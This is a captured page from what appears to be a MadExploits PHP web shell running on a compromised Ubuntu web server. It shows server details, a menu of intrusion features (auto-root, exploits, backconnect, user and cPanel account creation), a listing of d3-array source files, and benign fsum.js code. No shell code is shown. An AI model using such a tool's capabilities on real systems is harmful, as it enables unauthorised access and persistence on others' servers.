Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
d3-array /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
threshold
[ DIR ]
drwxr-xr-x
array.js
90
B
-rw-r--r--
ascending.js
127
B
-rw-r--r--
bin.js
3.96
KB
-rw-r--r--
bisect.js
337
B
-rw-r--r--
bisector.js
1.53
KB
-rw-r--r--
blur.js
3.99
KB
-rw-r--r--
constant.js
58
B
-rw-r--r--
count.js
424
B
-rw-r--r--
cross.js
872
B
-rw-r--r--
cumsum.js
218
B
-rw-r--r--
descending.js
144
B
-rw-r--r--
deviation.js
164
B
-rw-r--r--
difference.js
250
B
-rw-r--r--
disjoint.js
404
B
-rw-r--r--
every.js
265
B
-rw-r--r--
extent.js
723
B
-rw-r--r--
filter.js
291
B
-rw-r--r--
fsum.js
1.56
KB
-rw-r--r--
greatest.js
675
B
-rw-r--r--
greatestIndex.js
470
B
-rw-r--r--
group.js
1.68
KB
-rw-r--r--
groupSort.js
429
B
-rw-r--r--
identity.js
52
B
-rw-r--r--
index.js
2.99
KB
-rw-r--r--
intersection.js
446
B
-rw-r--r--
least.js
672
B
-rw-r--r--
leastIndex.js
467
B
-rw-r--r--
map.js
310
B
-rw-r--r--
max.js
502
B
-rw-r--r--
maxIndex.js
582
B
-rw-r--r--
mean.js
483
B
-rw-r--r--
median.js
245
B
-rw-r--r--
merge.js
165
B
-rw-r--r--
min.js
502
B
-rw-r--r--
minIndex.js
582
B
-rw-r--r--
mode.js
708
B
-rw-r--r--
nice.js
535
B
-rw-r--r--
number.js
465
B
-rw-r--r--
pairs.js
307
B
-rw-r--r--
permute.js
97
B
-rw-r--r--
quantile.js
1.73
KB
-rw-r--r--
quickselect.js
1.52
KB
-rw-r--r--
range.js
350
B
-rw-r--r--
rank.js
942
B
-rw-r--r--
reduce.js
460
B
-rw-r--r--
reverse.js
183
B
-rw-r--r--
scan.js
178
B
-rw-r--r--
shuffle.js
329
B
-rw-r--r--
some.js
263
B
-rw-r--r--
sort.js
1.22
KB
-rw-r--r--
subset.js
123
B
-rw-r--r--
sum.js
362
B
-rw-r--r--
superset.js
530
B
-rw-r--r--
ticks.js
1.91
KB
-rw-r--r--
transpose.js
369
B
-rw-r--r--
union.js
217
B
-rw-r--r--
variance.js
668
B
-rw-r--r--
zip.js
106
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fsum.js
// https://github.com/python/cpython/blob/a74eea238f5baba15797e2e8b570d153bc8690a7/Modules/mathmodule.c#L1423 export class Adder { constructor() { this._partials = new Float64Array(32); this._n = 0; } add(x) { const p = this._partials; let i = 0; for (let j = 0; j < this._n && j < 32; j++) { const y = p[j], hi = x + y, lo = Math.abs(x) < Math.abs(y) ? x - (hi - y) : y - (hi - x); if (lo) p[i++] = lo; x = hi; } p[i] = x; this._n = i + 1; return this; } valueOf() { const p = this._partials; let n = this._n, x, y, lo, hi = 0; if (n > 0) { hi = p[--n]; while (n > 0) { x = hi; y = p[--n]; hi = x + y; lo = y - (hi - x); if (lo) break; } if (n > 0 && ((lo < 0 && p[n - 1] < 0) || (lo > 0 && p[n - 1] > 0))) { y = lo * 2; x = hi + y; if (y == x - hi) hi = x; } } return hi; } } export function fsum(values, valueof) { const adder = new Adder(); if (valueof === undefined) { for (let value of values) { if (value = +value) { adder.add(value); } } } else { let index = -1; for (let value of values) { if (value = +valueof(value, ++index, values)) { adder.add(value); } } } return +adder; } export function fcumsum(values, valueof) { const adder = new Adder(); let index = -1; return Float64Array.from(values, valueof === undefined ? v => adder.add(+v || 0) : v => adder.add(+valueof(v, ++index, values) || 0) ); }
Close